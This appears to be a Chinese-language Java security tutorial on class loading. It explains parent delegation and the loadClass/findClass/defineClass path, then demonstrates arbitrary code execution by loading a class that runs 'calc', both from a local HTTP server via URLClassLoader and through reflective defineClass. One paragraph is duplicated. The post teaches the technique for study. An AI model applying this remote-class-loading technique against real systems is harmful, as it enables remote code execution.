Java动态加载类字节码

Java类加载机制

Java虚拟机把描述类的数据从Class文件加载到内存,并对数据进行校验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这个过程被称作虚拟机的类加载机制。

双亲委派机制

jvm对class文件采用的是按需加载的方式,当需要使用该类时,jvm才会将它的class文件加载到内存中产生class对象。

在加载类的时候,是采用的双亲委派机制,即把请求交给父类处理的一种任务委派模式。通俗讲的话就是,声明一个Application ClassLoader,我们在加载某个类时,他会先向上询问父类是否加载,一层一层向上查找,一旦找到某个父类加载该类时就停止询问并调用,在询问过程中最终走到Bootstrap ClassLoader,若都没有找到有父类加载该类时,则自个儿加载。

image.png

工作原理

  • 如果一个类加载器接收到了类加载的请求,它自己不会先去加载,会把这个请求委托给父类加载器去执行。
  • 如果父类还存在父类加载器,则继续向上委托,一直委托到启动类加载器:Bootstrap ClassLoader
  • 如果父类加载器可以完成加载任务,就返回成功结果,如果父类加载失败,就由子类自己去尝试加载,如果子类加载失败就会抛出ClassNotFoundException异常,这就是双亲委派模式

    ClassLoad类加载分析

    这里以ClassLoader中的getSystemClassLoader为例,加载定义的Person类,下个断点看看在loadClass这个过程中到底发生了什么?

image.png

以loadClass为起点,加载Person类,可以发现直接从ClassLoad中的loadClass –> Launcher$Application.loadClass

image.png

一直走到最后,返回父类的loadClass

image.png

这里直接来到了ClassLoader.loadClass,继续跟进

image.png

这里将这段loadClass关键代码提出来讲讲:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

大致流程是先走到findLoadedClass(name),根据类名在JVM中查找是否已经被加载过,显然返回null,因为我们的Person类是第一次被加载,来到if判断,这里的parent父类初始为Launcher类中ExtClassLoader,然而在该类下是没有loadClass的,因此一个来回后parent变为了null。关于这里为什么会经过一个来回再回到这里?因为Launcher下的ExtClassLoader的最终父类就是ClassLoader,准确来说大致经过了这样一个流程:Launcher$ExtClassLoader -> URLClassLoader -> SecureClassLoader -> ClassLoader, 层层extends的关系,这其实也印证了上面提到的双亲委派机制。

image.png

上图为第一次进入if,下面为第二次进入if

image.png

随后来到findBootstrapClassOrNull(name),看名字就知道在启动类BootstrapClass中查看Person类是否被加载,否则返回null,而最终在寻找的这个过程实际上是调用C程序实现(native类型强调使用非Java语言实现)。显然这里同样是找不到的,c 依然 = null。

image.png

因为从父类中未找到的缘故,因此选择自定义函数查找Person类。向下进入到另一个关键性函数: findClass,该函数在URLClassLoader中具体实现:findClass的作用是根据name向URL path中查询该类

Person被replace为Person.class,调用getResource从文件系统中查找同名Person.class

image.png
image.png
拿到结果后,调用另一个关键性函数defineClass,关于defineClass,其实他才是JVM将字节码文件(Person.class)转换为Java类的核心。同样,试想若Person.class为一个危险类(后面演示执行危险代码),因为defineClass的特点,在Java安全中常被拿来反序列化调用为Java类时将导致任意代码执行漏洞,例如在Commons-Collections3中攻击链TemplatesImpl下的defineClass的调用等。

拿到结果后,调用另一个关键性函数defineClass,关于defineClass,其实他才是JVM将字节码文件(Person.class)转换为Java类的核心。同样,试想若Person.class为一个危险类(后面演示执行危险代码),因为defineClass的特点,在Java安全中常被拿来反序列化调用为Java类时将导致任意代码执行漏洞,例如在Commons-Collections3中攻击链TemplatesImpl下的defineClass的调用等。

走到这里大致流程执行完毕,回想一下整个过程其实就是三个步骤:

ClassLoader#loadClass -> URLClassLoader#findClass -> ClassLoader#defineClass

  • loadClass()的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用findClass()方法;
  • findClass()根据类名查找该类的位置(甚至是远程的方式),并调用defineClass()作真正的类加载;
  • defineClass()的作用是获取该类,并将字节码(.class文件)转换为真正的 Java 类

    动态远程加载恶意类

    Http协议远程加载

    定义危险类ClassLoad1,编译为ClassLoad1.class文件后放到E盘下,用于后面调用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import java.io.IOException;

    public class ClassLoad1 {
    static {
    try {
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    throw new RuntimeException(e);
    }
    }
    }

    这里利用Http协议,在E盘使用python3 -m http.server 9999 开启服务用于远程访问:

编写利用类:

1
2
3
4
5
6
7
public class UrlLoader {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
Class<?> c = urlClassLoader.loadClass("ClassLoad1"); //加载恶意类
c.newInstance(); //类实例化调用
}
}

image.png

image.png

弹出计算器,同样的用法还有利用file协议,jar协议访问。

defineClass直接调用字节码文件

下面演示defineClass调用恶意类导致的任意代码执行
利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class UrlLoader {
public static void main(String[] args) throws Exception{
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Class<ClassLoader> classLoaderClass = ClassLoader.class;
//反射获取defineClass方法,为protected类型
Method defineClass = classLoaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\ClassLoad1.class")); //选择直接读取class文件,跳过loadClass过程
Class classLoad1 = (Class) defineClass.invoke(systemClassLoader, "ClassLoad1", bytes, 0, bytes.length);//调用defineClass方法转换字节码为Java类
classLoad1.newInstance(); //实例化该类,代码执行

}
}

image.png

小结

动态类加载在Java安全中具有及其重要的地位,在Java反序列化中CC链的分析利用将会使用到这部分知识。对于类加载,我觉得还是有必要理解整个过程的流程和原理,由于也是初步接触Java安全,对于更深层次的理解和利用还不太熟练,有讲得不对的地方希望帮忙指出。